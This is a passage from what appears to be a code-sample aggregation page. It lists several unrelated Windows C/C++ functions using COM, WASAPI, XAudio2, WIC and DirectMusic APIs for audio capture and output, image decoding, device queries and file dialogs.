		if ( FAILED(xAudio->CreateMasteringVoice( &masterVoice, XAUDIO2_DEFAULT_CHANNELS,
			XAUDIO2_DEFAULT_SAMPLERATE, 0, preferredDevice, NULL ) ) )
		{
			SPLogHelper::WriteLog("[XAudio] WARNING: Failed to create Mastering Voice!");
			//MessageBoxA(NULL, "Failed to create mastering voice!", NULL, NULL);
			Unload();
			return false;
		}

		return true;
	}
Esempio n. 8
0
int _tmain(int argc, _TCHAR* argv[]) {
  IMMDeviceEnumerator *enumerator = 0;
  IMMDevice *device = 0;
  FILE *f;
	f=fopen("c:/1.wav","w");
  CoInitialize(0);
  CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), 
    (void**) &enumerator);
  enumerator->GetDefaultAudioEndpoint(eRender, eConsole, &device);

  HANDLE processOutWrite, processOutRead, processInWrite, processInRead;    

  /*wchar_t processCommand[2000];
  {
    FILE* commandFile;
    fopen_s(&commandFile, "command.txt", "r");
    char cmd[2000];
    fread(cmd, sizeof(char), 2000, commandFile);
    fclose(commandFile);
    size_t count;
    mbstowcs_s(&count, processCommand, cmd, 2000);
  }*/

  /*{	
    //create pipes for plink process
    SECURITY_ATTRIBUTES pipeAttributes = {0};
    pipeAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
    pipeAttributes.bInheritHandle = TRUE;
    pipeAttributes.lpSecurityDescriptor= NULL;
    CreatePipe(&processOutRead, &processOutWrite, &pipeAttributes, 0);
    CreatePipe(&processInRead,  &processInWrite,  &pipeAttributes, 0);
    STARTUPINFO startupInfo;
    ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
    startupInfo.cb = sizeof(STARTUPINFO);
    startupInfo.hStdError = processOutWrite;
    startupInfo.hStdOutput = processOutWrite;
    startupInfo.hStdInput = processInRead;
    startupInfo.dwFlags |= STARTF_USESTDHANDLES;
    PROCESS_INFORMATION processInfo = {0};
    //launch process
    CreateProcess(NULL, processCommand, NULL, NULL, TRUE, 0, NULL, NULL, &startupInfo, &processInfo);

    //wait for plink to connect to minimze sound delay  (magic number)
    Sleep(2500);

  }*/

  HRESULT hr;
  // activate an IAudioClient
  IAudioClient *audioClient;
  hr = device->Activate(__uuidof(IAudioClient), CLSCTX_ALL, NULL, (void**) &audioClient); 
  if (FAILED(hr)) {
    printf("IMMDevice::Activate(IAudioClient) failed: hr = 0x%08x", hr);
    return hr;
  }

  // get the default device format
  WAVEFORMATEX *waveFormat;
  hr = audioClient->GetMixFormat(&waveFormat);
  if (FAILED(hr)) {
    printf("IAudioClient::GetMixFormat failed: hr = 0x%08x\n", hr);
    CoTaskMemFree(waveFormat);
    audioClient->Release();
    return hr;
  }

  // coerce int-16 wave format
  // can do this in-place since we're not changing the size of the format
  // also, the engine will auto-convert from float to int for us
  switch (waveFormat->wFormatTag) {
  case WAVE_FORMAT_IEEE_FLOAT:
    waveFormat->wFormatTag = WAVE_FORMAT_PCM;
    waveFormat->wBitsPerSample = 16;
    waveFormat->nBlockAlign = waveFormat->nChannels * waveFormat->wBitsPerSample / 8;
    waveFormat->nAvgBytesPerSec = waveFormat->nBlockAlign * waveFormat->nSamplesPerSec;
    break;

  case WAVE_FORMAT_EXTENSIBLE:
    {
      // naked scope for case-local variable
      PWAVEFORMATEXTENSIBLE waveFormatEx = reinterpret_cast<PWAVEFORMATEXTENSIBLE>(waveFormat);
      if (IsEqualGUID(KSDATAFORMAT_SUBTYPE_IEEE_FLOAT, waveFormatEx->SubFormat)) {
        waveFormatEx->SubFormat = KSDATAFORMAT_SUBTYPE_PCM;
        waveFormatEx->Samples.wValidBitsPerSample = 16;
        waveFormat->wBitsPerSample = 16;
        waveFormat->nBlockAlign = waveFormat->nChannels * waveFormat->wBitsPerSample / 8;
        waveFormat->nAvgBytesPerSec = waveFormat->nBlockAlign * waveFormat->nSamplesPerSec;
      } else {
        printf("Don't know how to coerce mix format to int-16\n");
        CoTaskMemFree(waveFormat);
        audioClient->Release();
        return E_UNEXPECTED;
      }
    }
    break;

  default:
    printf("Don't know how to coerce WAVEFORMATEX with wFormatTag = 0x%08x to int-16\n", waveFormat->wFormatTag);
    CoTaskMemFree(waveFormat);
    audioClient->Release();
    return E_UNEXPECTED;
  }

  UINT32 blockAlign = waveFormat->nBlockAlign;

  // call IAudioClient::Initialize
  // note that AUDCLNT_STREAMFLAGS_LOOPBACK and AUDCLNT_STREAMFLAGS_EVENTCALLBACK do not work together...
  // the "data ready" event never gets set, so we're going to do a timer-driven loop
  hr = audioClient->Initialize(
    AUDCLNT_SHAREMODE_SHARED,
    AUDCLNT_STREAMFLAGS_LOOPBACK,
    10000000, 0, waveFormat, 0
    );
  if (FAILED(hr)) {
    printf("IAudioClient::Initialize failed: hr = 0x%08x\n", hr);
    audioClient->Release();
    return hr;
  }
  CoTaskMemFree(waveFormat);

  // activate an IAudioCaptureClient
  IAudioCaptureClient *audioCaptureClient;
  hr = audioClient->GetService(__uuidof(IAudioCaptureClient), (void**) &audioCaptureClient);
  if (FAILED(hr)) {
    printf("IAudioClient::GetService(IAudioCaptureClient) failed: hr 0x%08x\n", hr);
    audioClient->Release();
    return hr;
  }

  hr = audioClient->Start();
  if (FAILED(hr)) {
    printf("IAudioClient::Start failed: hr = 0x%08x\n", hr);
    audioCaptureClient->Release();
    audioClient->Release();
    return hr;
  }

  // loopback capture loop
  for (UINT32 i = 0; true; i++) {
    UINT32 nextPacketSize;
    hr = audioCaptureClient->GetNextPacketSize(&nextPacketSize);
    if (FAILED(hr)) {
      printf("IAudioCaptureClient::GetNextPacketSize failed on pass %u: hr = 0x%08x\n", i, hr);
      audioClient->Stop();
      audioCaptureClient->Release();
      audioClient->Release();            
      return hr;
    }

    if (nextPacketSize == 0) { // no data yet
      continue;
    }

    // get the captured data
    BYTE *data;
    UINT32 frameCount;
    DWORD bufferFlags;

    hr = audioCaptureClient->GetBuffer(&data, &frameCount, &bufferFlags, NULL, NULL);
    if (FAILED(hr)) {
      printf("IAudioCaptureClient::GetBuffer failed on pass %u: hr = 0x%08x\n", i, hr);
      audioClient->Stop();
      audioCaptureClient->Release();
      audioClient->Release();            
      return hr;            
    }

    if (bufferFlags & AUDCLNT_BUFFERFLAGS_DATA_DISCONTINUITY) {
      printf("IAudioCaptureClient::GetBuffer reports 'data discontinuity' on pass %u\n", i);
    }
    if (bufferFlags & AUDCLNT_BUFFERFLAGS_SILENT) {
      printf("IAudioCaptureClient::GetBuffer reports 'silent' on pass %u\n", i);
    }
    if (bufferFlags & AUDCLNT_BUFFERFLAGS_TIMESTAMP_ERROR) {
      printf("IAudioCaptureClient::GetBuffer reports 'timestamp error' on pass %u\n", i);
    }

    if (frameCount == 0) {
      printf("IAudioCaptureClient::GetBuffer said to read 0 frames on pass %u\n", i);
      audioClient->Stop();
      audioCaptureClient->Release();
      audioClient->Release();            
      return E_UNEXPECTED;            
    }

    LONG bytesToWrite = frameCount * blockAlign;
    DWORD bytesWritten;
	printf("Recording:%d\n",bytesToWrite);
	
		fwrite(data,bytesToWrite,1,f);
		
    /*WriteFile(processInWrite,reinterpret_cast<PCHAR>(data), bytesToWrite, &bytesWritten, NULL);
    if (bytesWritten != bytesToWrite) {
      printf("WriteFile: tried to write %d bytes, but %d bytes written\n", bytesToWrite, bytesWritten);            
    }

    char buf[10000];
    DWORD count;
    DWORD bytesAvailable;
    PeekNamedPipe(processOutRead, NULL, 0, 0, &bytesAvailable, NULL);
    if (bytesAvailable > 0) { 
      ReadFile(processOutRead, buf, 10000, &count, NULL);
      std::cout.write(buf, count);
    }*/


    hr = audioCaptureClient->ReleaseBuffer(frameCount);
    if (FAILED(hr)) {
      printf("IAudioCaptureClient::ReleaseBuffer failed on pass %u: hr = 0x%08x\n", i, hr);
      audioClient->Stop();
      audioCaptureClient->Release();
      audioClient->Release();            
      return hr;            
    }

  } // capture loop

  audioClient->Stop();
  audioCaptureClient->Release();
  audioClient->Release();
  fclose(f);
  return 0;
}
Esempio n. 9
0
HRESULT CDevice::GetSupportedContentTypes(
    IPortableDevicePropVariantCollection** ppContentTypes)
{
    HRESULT hr = S_OK;

    if(ppContentTypes)
    {
        CComPtr<IPortableDeviceValues>  pParams;
        CComPtr<IPortableDeviceValues>  pResults;

        // Prepare to make a call to query for the content types
        hr = CoCreateInstance(CLSID_PortableDeviceValues,
            NULL,
            CLSCTX_INPROC_SERVER,
            IID_IPortableDeviceValues,
            (VOID**)&pParams);
        CHECK_HR(hr, "Failed to CoCreate CLSID_PortableDeviceValues");

        if (hr == S_OK)
        {
            hr = CoCreateInstance(CLSID_PortableDeviceValues,
                NULL,
                CLSCTX_INPROC_SERVER,
                IID_IPortableDeviceValues,
                (VOID**)&pResults);
            CHECK_HR(hr, "Failed to CoCreate CLSID_PortableDeviceValues for results");
        }

        // Set the params
        if (hr == S_OK)
        {
            hr = pParams->SetGuidValue(WPD_PROPERTY_COMMON_COMMAND_CATEGORY, WPD_COMMAND_CAPABILITIES_GET_SUPPORTED_CONTENT_TYPES.fmtid);
            CHECK_HR(hr, ("Failed to set WPD_PROPERTY_COMMON_COMMAND_CATEGORY"));
        }
        if (hr == S_OK)
        {
            hr = pParams->SetUnsignedIntegerValue(WPD_PROPERTY_COMMON_COMMAND_ID, WPD_COMMAND_CAPABILITIES_GET_SUPPORTED_CONTENT_TYPES.pid);
            CHECK_HR(hr, ("Failed to set WPD_PROPERTY_COMMON_COMMAND_ID"));
        }
        if (hr == S_OK)
        {
            hr = pParams->SetGuidValue(WPD_PROPERTY_CAPABILITIES_FUNCTIONAL_CATEGORY, WPD_FUNCTIONAL_CATEGORY_ALL);
            CHECK_HR(hr, ("Failed to set WPD_PROPERTY_CAPABILITIES_FUNCTIONAL_CATEGORY"));
        }

        // Make the call
        if (hr == S_OK)
        {
            hr = m_pWpdBaseDriver->DispatchWpdMessage(pParams, pResults);
            CHECK_HR(hr, ("Failed to dispatch message to get supported content types"));
        }

        if (hr == S_OK)
        {
            hr = pResults->GetIPortableDevicePropVariantCollectionValue(WPD_PROPERTY_CAPABILITIES_CONTENT_TYPES, ppContentTypes);
            CHECK_HR(hr, ("Failed to get WPD_PROPERTY_CAPABILITIES_CONTENT_TYPES"));
        }
    }

    return hr;
}
Esempio n. 10
0
static fz_pixmap *
fz_load_jxr_or_info(fz_context *ctx, unsigned char *data, int size, int *wp, int *hp, int *xresp, int *yresp, fz_colorspace **cspacep)
{
#ifdef _WIN32
	int info_only = wp && hp && xresp && yresp && cspacep;
	fz_pixmap *pix = NULL;
	IStream *stream = NULL;
	IWICImagingFactory *factory = NULL;
	IWICBitmapDecoder *decoder = NULL;
	IWICFormatConverter *converter = NULL;
	IWICBitmapFrameDecode *src_frame = NULL;
	IWICBitmapSource *src_bitmap = NULL;
	int codec_available = 0;
	LARGE_INTEGER zero = { 0 };
	UINT width, height;
	double xres, yres;
	ULONG written;
	HRESULT hr;

	hr = CoInitialize(NULL);
	if (FAILED(hr))
		fz_throw(ctx, "JPEG-XR codec is not available");
#define Check(hr) if (FAILED(hr)) goto CleanUp
	Check(CoCreateInstance(&CLSID_WICImagingFactory, NULL, CLSCTX_ALL, &IID_IWICImagingFactory, (void **)&factory));
	Check(CreateStreamOnHGlobal(NULL, TRUE, &stream));
	Check(IStream_Write(stream, data, (ULONG)size, &written));
	Check(IStream_Seek(stream, zero, STREAM_SEEK_SET, NULL));
	Check(IWICImagingFactory_CreateDecoderFromStream(factory, stream, NULL, WICDecodeMetadataCacheOnDemand, &decoder));
	Check(IWICImagingFactory_CreateFormatConverter(factory, &converter));
	Check(IWICBitmapDecoder_GetFrame(decoder, 0, &src_frame));
	Check(IUnknown_QueryInterface(src_frame, &IID_IWICBitmapSource, &src_bitmap));
	Check(IWICFormatConverter_Initialize(converter, src_bitmap, &GUID_WICPixelFormat32bppBGRA, WICBitmapDitherTypeNone, NULL, 0.f, WICBitmapPaletteTypeCustom));
	Check(IWICFormatConverter_GetSize(converter, &width, &height));
	Check(IWICFormatConverter_GetResolution(converter, &xres, &yres));
#undef Check
	codec_available = 1;

	if (info_only)
	{
		*cspacep = fz_device_bgr;
		*wp = width;
		*hp = height;
		*xresp = (int)(xres + 0.5);
		*yresp = (int)(yres + 0.5);
	}
	else
	{
		fz_try(ctx)
		{
			pix = fz_new_pixmap(ctx, fz_device_bgr, width, height);
		}
		fz_catch(ctx)
		{
			pix = NULL;
			goto CleanUp;
		}
		hr = IWICFormatConverter_CopyPixels(converter, NULL, pix->w * pix->n, pix->w * pix->h * pix->n, pix->samples);
		if (FAILED(hr))
		{
			fz_drop_pixmap(ctx, pix);
			pix = NULL;
			goto CleanUp;
		}
		pix->xres = (int)(xres + 0.5);
		pix->yres = (int)(yres + 0.5);
	}

CleanUp:
#define Release(unk) if (unk) IUnknown_Release(unk)
	Release(src_bitmap);
	Release(converter);
	Release(src_frame);
	Release(decoder);
	Release(factory);
	Release(stream);
#undef Release
	CoUninitialize();

	if (codec_available)
	{
		if (!pix && !info_only)
			fz_throw(ctx, "JPEG-XR codec failed to decode the image");
		return pix;
	}
#endif
	fz_throw(ctx, "JPEG-XR codec is not available");
	return NULL;
}
Esempio n. 11
0
//bool CWin32WASAPI::Initialize(IAudioCallback* pCallback, const CStdString& device, int iChannels, enum PCMChannels *channelMap, unsigned int uiSamplesPerSec, unsigned int uiBitsPerSample, bool bResample, bool bIsMusic, bool bAudioPassthrough)
bool CWin32WASAPI::Initialize(IAudioCallback* pCallback, int iChannels, unsigned int uiSamplesPerSec, unsigned int uiBitsPerSample, bool bResample, const char* strAudioCodec, bool bIsMusic, bool bPassthrough)
{
  //First check if the version of Windows we are running on even supports WASAPI.
  OSVERSIONINFO osvi;
  enum PCMChannels *channelMap = NULL;
  CStdString device = g_guiSettings.GetString("audiooutput.audiodevice");

  ZeroMemory(&osvi, sizeof(OSVERSIONINFO));
  osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

  GetVersionEx(&osvi);

  if (osvi.dwMajorVersion < 6)
  {
    CLog::Log(LOGERROR, __FUNCTION__": WASAPI output requires Vista or higher.");
    return false;
  }

  //Only one exclusive stream may be initialized at one time.
  if(m_bIsAllocated)
  {
    CLog::Log(LOGERROR, __FUNCTION__": Cannot create more then one WASAPI stream at one time.");
    return false;
  }

  int layoutChannels = 0;

  if(!bPassthrough)
  {
    //if(!channelMap)
    channelMap = (PCMChannels *)wasapi_default_channel_layout[iChannels - 1]; //use the default.

    PCMChannels *outLayout = m_remap.SetInputFormat(iChannels, channelMap, uiBitsPerSample / 8);

    for(PCMChannels *channel = outLayout; *channel != PCM_INVALID; channel++)
        ++layoutChannels;

    //Expand monural to stereo as most devices don't seem to like 1 channel PCM streams.
    //Stereo sources should be sent explicitly as two channels so that the external hardware
    //can apply ProLogic/5CH Stereo/etc processing on it.
    if(iChannels <= 2)
    {
      BuildChannelMapping(2, (PCMChannels *)wasapi_default_channel_layout[1]);

      layoutChannels = 2;
      m_remap.SetOutputFormat(2, m_SpeakerOrder, false);
    }
    else //Do the standard remapping.
    {
      BuildChannelMapping(layoutChannels, outLayout);
      m_remap.SetOutputFormat(layoutChannels, m_SpeakerOrder, false);
    }
  }
  
  m_bPlaying = false;
  m_bPause = false;
  m_bMuting = false;
  m_uiChannels = iChannels;
  m_uiBitsPerSample = uiBitsPerSample;
  m_bPassthrough = bPassthrough;

  m_nCurrentVolume = g_stSettings.m_nVolumeLevel;
  m_pcmAmplifier.SetVolume(m_nCurrentVolume);
  
  WAVEFORMATEXTENSIBLE wfxex = {0};

  //fill waveformatex
  ZeroMemory(&wfxex, sizeof(WAVEFORMATEXTENSIBLE));
  wfxex.Format.cbSize          =  sizeof(WAVEFORMATEXTENSIBLE)-sizeof(WAVEFORMATEX);
  wfxex.Format.nChannels       = layoutChannels;
  wfxex.Format.nSamplesPerSec  = uiSamplesPerSec;
  if (bPassthrough == true) 
  {
    wfxex.dwChannelMask          = SPEAKER_FRONT_LEFT | SPEAKER_FRONT_RIGHT;
    wfxex.Format.wFormatTag      = WAVE_FORMAT_DOLBY_AC3_SPDIF;
    wfxex.SubFormat              = _KSDATAFORMAT_SUBTYPE_DOLBY_AC3_SPDIF;
    wfxex.Format.wBitsPerSample  = 16;
    wfxex.Format.nChannels       = 2;
  } 
  else
  {
    wfxex.dwChannelMask          = m_uiSpeakerMask;
    wfxex.Format.wFormatTag      = WAVE_FORMAT_EXTENSIBLE;
    wfxex.SubFormat              = KSDATAFORMAT_SUBTYPE_PCM;
    wfxex.Format.wBitsPerSample  = uiBitsPerSample;
  }

  wfxex.Samples.wValidBitsPerSample = uiBitsPerSample == 32 ? 24 : uiBitsPerSample;
  wfxex.Format.nBlockAlign       = wfxex.Format.nChannels * (wfxex.Format.wBitsPerSample >> 3);
  wfxex.Format.nAvgBytesPerSec   = wfxex.Format.nSamplesPerSec * wfxex.Format.nBlockAlign;

  m_uiAvgBytesPerSec = wfxex.Format.nAvgBytesPerSec;

  m_uiBytesPerFrame = wfxex.Format.nBlockAlign;
  m_uiBytesPerSrcFrame = bPassthrough ? m_uiBytesPerFrame : iChannels * wfxex.Format.wBitsPerSample >> 3;

  IMMDeviceEnumerator* pEnumerator = NULL;
  IMMDeviceCollection* pEnumDevices = NULL;

  //Shut down Directsound.
  g_audioContext.SetActiveDevice(CAudioContext::NONE);

  HRESULT hr = CoCreateInstance(CLSID_MMDeviceEnumerator, NULL, CLSCTX_ALL, IID_IMMDeviceEnumerator, (void**)&pEnumerator);
  EXIT_ON_FAILURE(hr, __FUNCTION__": Could not allocate WASAPI device enumerator. CoCreateInstance error code: %i", hr)

  //Get our device.
  //First try to find the named device.
  UINT uiCount = 0;

  hr = pEnumerator->EnumAudioEndpoints(eRender, DEVICE_STATE_ACTIVE, &pEnumDevices);
  EXIT_ON_FAILURE(hr, __FUNCTION__": Retrieval of audio endpoint enumeration failed.")

  hr = pEnumDevices->GetCount(&uiCount);
  EXIT_ON_FAILURE(hr, __FUNCTION__": Retrieval of audio endpoint count failed.")

  for(UINT i = 0; i < uiCount; i++)
  {
    IPropertyStore *pProperty = NULL;
    PROPVARIANT varName;

    hr = pEnumDevices->Item(i, &m_pDevice);
    EXIT_ON_FAILURE(hr, __FUNCTION__": Retrieval of WASAPI endpoint failed.")

    hr = m_pDevice->OpenPropertyStore(STGM_READ, &pProperty);
    EXIT_ON_FAILURE(hr, __FUNCTION__": Retrieval of WASAPI endpoint properties failed.")

    hr = pProperty->GetValue(PKEY_Device_FriendlyName, &varName);
    if(FAILED(hr))
    {
      CLog::Log(LOGERROR, __FUNCTION__": Retrieval of WASAPI endpoint device name failed.");
      SAFE_RELEASE(pProperty);
      goto failed;
    }

    CStdStringW strRawDevName(varName.pwszVal);
    CStdString strDevName;
    g_charsetConverter.ucs2CharsetToStringCharset(strRawDevName, strDevName);

    if(device == strDevName)
      i = uiCount;
    else
      SAFE_RELEASE(m_pDevice);

    PropVariantClear(&varName);
    SAFE_RELEASE(pProperty);
  }

  SAFE_RELEASE(pEnumDevices);

  if(!m_pDevice)
  {
    CLog::Log(LOGDEBUG, __FUNCTION__": Could not locate the device named \"%s\" in the list of WASAPI endpoint devices.  Trying the default device...", device.c_str());
    hr = pEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &m_pDevice);
    EXIT_ON_FAILURE(hr, __FUNCTION__": Could not retrieve the default WASAPI audio endpoint.")
  }
Esempio n. 12
0
static void create_system_ports_list(IDirectMusic8Impl* object)
{
    port_info * port;
    const WCHAR emulated[] = {' ','[','E','m','u','l','a','t','e','d',']',0};
    ULONG nb_ports;
    ULONG nb_midi_out;
    ULONG nb_midi_in;
    MIDIOUTCAPSW caps_out;
    MIDIINCAPSW caps_in;
    IDirectMusicSynth8* synth;
    HRESULT hr;
    ULONG i;

    TRACE("(%p)\n", object);

    /* NOTE:
       - it seems some native versions get the rest of devices through dmusic32.EnumLegacyDevices...*sigh*...which is undocumented
       - should we enum wave devices ? Native does not seem to
    */

    nb_midi_out = midiOutGetNumDevs();
    nb_midi_in = midiInGetNumDevs();
    nb_ports = 1 /* midi mapper */ + nb_midi_out + nb_midi_in + 1 /* synth port */;

    port = object->system_ports = HeapAlloc(GetProcessHeap(), 0, nb_ports * sizeof(port_info));
    if (!object->system_ports)
        return;

    /* Fill common port caps for all winmm ports */
    for (i = 0; i < (nb_ports - 1 /* synth port*/); i++)
    {
        object->system_ports[i].caps.dwSize = sizeof(DMUS_PORTCAPS);
        object->system_ports[i].caps.dwType = DMUS_PORT_WINMM_DRIVER;
        object->system_ports[i].caps.dwMemorySize = 0;
        object->system_ports[i].caps.dwMaxChannelGroups = 1;
        object->system_ports[i].caps.dwMaxVoices = 0;
        object->system_ports[i].caps.dwMaxAudioChannels = 0;
        object->system_ports[i].caps.dwEffectFlags = DMUS_EFFECT_NONE;
        /* Fake port GUID */
        object->system_ports[i].caps.guidPort = IID_IUnknown;
        object->system_ports[i].caps.guidPort.Data1 = i + 1;
    }

    /* Fill midi mapper port info */
    port->device = MIDI_MAPPER;
    port->create = DMUSIC_CreateMidiOutPortImpl;
    midiOutGetDevCapsW(MIDI_MAPPER, &caps_out, sizeof(caps_out));
    strcpyW(port->caps.wszDescription, caps_out.szPname);
    strcatW(port->caps.wszDescription, emulated);
    port->caps.dwFlags = DMUS_PC_SHAREABLE;
    port->caps.dwClass = DMUS_PC_OUTPUTCLASS;
    port++;

    /* Fill midi out port info */
    for (i = 0; i < nb_midi_out; i++)
    {
        port->device = i;
        port->create = DMUSIC_CreateMidiOutPortImpl;
        midiOutGetDevCapsW(i, &caps_out, sizeof(caps_out));
        strcpyW(port->caps.wszDescription, caps_out.szPname);
        strcatW(port->caps.wszDescription, emulated);
        port->caps.dwFlags = DMUS_PC_SHAREABLE | DMUS_PC_EXTERNAL;
        port->caps.dwClass = DMUS_PC_OUTPUTCLASS;
        port++;
    }

    /* Fill midi in port info */
    for (i = 0; i < nb_midi_in; i++)
    {
        port->device = i;
        port->create = DMUSIC_CreateMidiInPortImpl;
        midiInGetDevCapsW(i, &caps_in, sizeof(caps_in));
        strcpyW(port->caps.wszDescription, caps_in.szPname);
        strcatW(port->caps.wszDescription, emulated);
        port->caps.dwFlags = DMUS_PC_EXTERNAL;
        port->caps.dwClass = DMUS_PC_INPUTCLASS;
        port++;
    }

    /* Fill synth port info */
    port->create = DMUSIC_CreateSynthPortImpl;
    hr = CoCreateInstance(&CLSID_DirectMusicSynth, NULL, CLSCTX_INPROC_SERVER, &IID_IDirectMusicSynth8, (void**)&synth);
    if (SUCCEEDED(hr))
    {
        port->caps.dwSize = sizeof(port->caps);
        hr = IDirectMusicSynth8_GetPortCaps(synth, &port->caps);
        IDirectMusicSynth8_Release(synth);
    }
    if (FAILED(hr))
        nb_ports--;

    object->nb_system_ports = nb_ports;
}
Esempio n. 13
0
static int MCA_do_file_dialog(MCExecPoint& ep, const char *p_title, const char *p_prompt, const char *p_filter, const char *p_initial, unsigned int p_options)
{
	int t_result = 0;

	char *t_initial_file;
	t_initial_file = NULL;

	char *t_initial_folder;
	t_initial_folder = NULL;

	ep . clear();

	if (*p_initial != '\0')
	{
		char *t_initial_clone;
		t_initial_clone = strdup(p_initial);
		MCU_w32path2std(t_initial_clone);
		MCU_fix_path(t_initial_clone);

		if (MCS_exists(t_initial_clone, False))
			t_initial_folder = t_initial_clone;
		else if ((p_options & MCA_OPTION_SAVE_DIALOG) != 0)
		{
			t_initial_file = strrchr(t_initial_clone, '/');
			if (t_initial_file == NULL)
			{
				if (strlen(t_initial_clone) != 0)
					t_initial_file = t_initial_clone;
			}
			else
			{
				*t_initial_file = '\0';
				t_initial_file++;
				
				if (t_initial_file[0] == '\0')
					t_initial_file = NULL;

				if (MCS_exists(t_initial_clone, False))
					t_initial_folder = t_initial_clone;
			}
		}
		else
		{
			char *t_leaf;
			t_leaf = strrchr(t_initial_clone, '/');
			if (t_leaf != NULL)
			{
				*t_leaf = '\0';
				if (MCS_exists(t_initial_clone, False))
					t_initial_folder = t_initial_clone;
			}
		}

		t_initial_file = strdup(t_initial_file);
		t_initial_folder = MCS_resolvepath(t_initial_folder);

		delete t_initial_clone;
	}

	if (!MCModeMakeLocalWindows())
	{
		char ** t_filters = NULL;
		uint32_t t_filter_count = 0;

		if (p_filter != NULL)
		{
			const char *t_strptr = p_filter;
			while (t_strptr[0] != '\0')
			{
				t_filter_count++;
				t_filters = (char**)realloc(t_filters, t_filter_count * sizeof(char*));
				t_filters[t_filter_count - 1] = (char *)t_strptr;
				t_strptr += strlen(t_strptr) + 1;
			}
		}

		MCRemoteFileDialog(ep, p_title, p_prompt, t_filters, t_filter_count, t_initial_folder, t_initial_file, (p_options & MCA_OPTION_SAVE_DIALOG) != 0, (p_options & MCA_OPTION_PLURAL) != 0);

		free(t_filters);
		return 0;
	}

	Window t_window;
	t_window = MCModeGetParentWindow();

	bool t_succeeded;
	int t_filter_index;

	if (MCmajorosversion >= 0x0600)
	{
		static SHCreateItemFromParsingNamePtr  s_shcreateitemfromparsingname = NULL;
		if (s_shcreateitemfromparsingname == NULL)
		{
			static HMODULE s_shell32_module = NULL;
			s_shell32_module = LoadLibraryA("shell32.dll");
			s_shcreateitemfromparsingname = (SHCreateItemFromParsingNamePtr)GetProcAddress(s_shell32_module, "SHCreateItemFromParsingName");
		}

		IFileSaveDialog *t_file_save_dialog;
		IFileOpenDialog *t_file_open_dialog;
		IFileDialog *t_file_dialog;

		t_file_dialog = NULL;

		HRESULT t_hresult;

		if ((p_options & MCA_OPTION_SAVE_DIALOG) == 0)
		{
			t_hresult = CoCreateInstance(CLSID_FileOpenDialog, NULL, CLSCTX_INPROC_SERVER, __uuidof(IFileOpenDialog), (LPVOID *)&t_file_open_dialog);
			t_succeeded = SUCCEEDED(t_hresult);

			t_file_dialog = t_file_open_dialog;
		}
		else
		{
			t_hresult = CoCreateInstance(CLSID_FileSaveDialog, NULL, CLSCTX_INPROC_SERVER, __uuidof(IFileSaveDialog), (LPVOID *)&t_file_save_dialog);
			t_succeeded = SUCCEEDED(t_hresult);

			t_file_dialog = t_file_save_dialog;
		}

		if (t_succeeded)
		{
			DWORD t_options;

			t_options = FOS_FORCEFILESYSTEM | FOS_NOCHANGEDIR | FOS_PATHMUSTEXIST;
			if (p_options & MCA_OPTION_PLURAL)
				t_options |= FOS_ALLOWMULTISELECT;
			if (p_options & MCA_OPTION_SAVE_DIALOG)
				t_options |= FOS_OVERWRITEPROMPT;
			if (p_options & MCA_OPTION_FOLDER_DIALOG)
				t_options |= FOS_PICKFOLDERS;
			else
				t_options |= FOS_FILEMUSTEXIST;

			t_hresult = t_file_dialog -> SetOptions(t_options);
			t_succeeded = SUCCEEDED(t_hresult);
		}

		if (t_succeeded && t_initial_folder != NULL)
		{
			IShellItem *t_initial_folder_shellitem;
			t_initial_folder_shellitem = NULL;
			t_hresult = s_shcreateitemfromparsingname(WideCString(t_initial_folder), NULL, __uuidof(IShellItem), (LPVOID *)&t_initial_folder_shellitem);
			if (SUCCEEDED(t_hresult))
				t_file_dialog -> SetFolder(t_initial_folder_shellitem);
			if (t_initial_folder_shellitem != NULL)
				t_initial_folder_shellitem -> Release();
			t_succeeded = SUCCEEDED(t_hresult);
		}

		if (t_succeeded && t_initial_file != NULL)
		{
			t_hresult = t_file_dialog -> SetFileName(WideCString(t_initial_file));
			t_succeeded = SUCCEEDED(t_hresult);
		}

		if (t_succeeded && p_filter != NULL && (p_options & MCA_OPTION_FOLDER_DIALOG) == 0)
		{
			uint4 t_filter_length, t_filter_count;
			measure_filter(p_filter, t_filter_length, t_filter_count);

			WideCString t_filters(p_filter, t_filter_length);
			COMDLG_FILTERSPEC *t_filter_spec;

			filter_to_spec(t_filters, t_filter_count, t_filter_spec);

			t_hresult = t_file_dialog -> SetFileTypes(t_filter_count, t_filter_spec);
			t_succeeded = SUCCEEDED(t_hresult);

			delete t_filter_spec;
		}

		if (t_succeeded && p_filter != NULL && (p_options & MCA_OPTION_FOLDER_DIALOG) == 0)
		{
			t_hresult = t_file_dialog -> SetFileTypeIndex(1);
			t_succeeded = SUCCEEDED(t_hresult);
		}

		if (t_succeeded)
			t_hresult = t_file_dialog -> SetTitle(WideCString(p_prompt));

		if (t_succeeded)
		{
			t_hresult = t_file_dialog -> Show(t_window != NULL ? (HWND)t_window -> handle . window : NULL);
			t_succeeded = SUCCEEDED(t_hresult);
		}

		if ((p_options & MCA_OPTION_SAVE_DIALOG) == 0)
		{
			IShellItemArray *t_file_items;
			t_file_items = NULL;
			if (t_succeeded)
			{
				t_hresult = t_file_open_dialog -> GetResults(&t_file_items);
				t_succeeded = SUCCEEDED(t_hresult);
			}

			DWORD t_file_item_count;
			if (t_succeeded)
			{
				t_hresult = t_file_items -> GetCount(&t_file_item_count);
				t_succeeded = SUCCEEDED(t_hresult);
			}

			if (t_succeeded)
			{
				ep . clear();
				for(uint4 t_index = 0; t_index < t_file_item_count && t_succeeded; ++t_index)
				{
					IShellItem *t_file_item;
					t_file_item = NULL;
					if (t_succeeded)
					{
						t_hresult = t_file_items -> GetItemAt(t_index, &t_file_item);
						t_succeeded = SUCCEEDED(t_hresult);
					}

					if (t_succeeded)
					{
						t_hresult = append_shellitem_path_and_release(ep, t_file_item, t_index == 0);
						t_succeeded = SUCCEEDED(t_hresult);
					}
				}
			}

			if (t_file_items != NULL)
				t_file_items -> Release();
		}
		else
		{
			IShellItem *t_file_item;
			t_file_item = NULL;
			if (t_succeeded)
			{
				t_hresult = t_file_dialog -> GetResult(&t_file_item);
				t_succeeded = SUCCEEDED(t_hresult);
			}

			if (t_succeeded)
			{
				ep . clear();
				t_hresult = append_shellitem_path_and_release(ep, t_file_item, true);
				t_succeeded = SUCCEEDED(t_hresult);
			}
		}

		t_filter_index = 0;
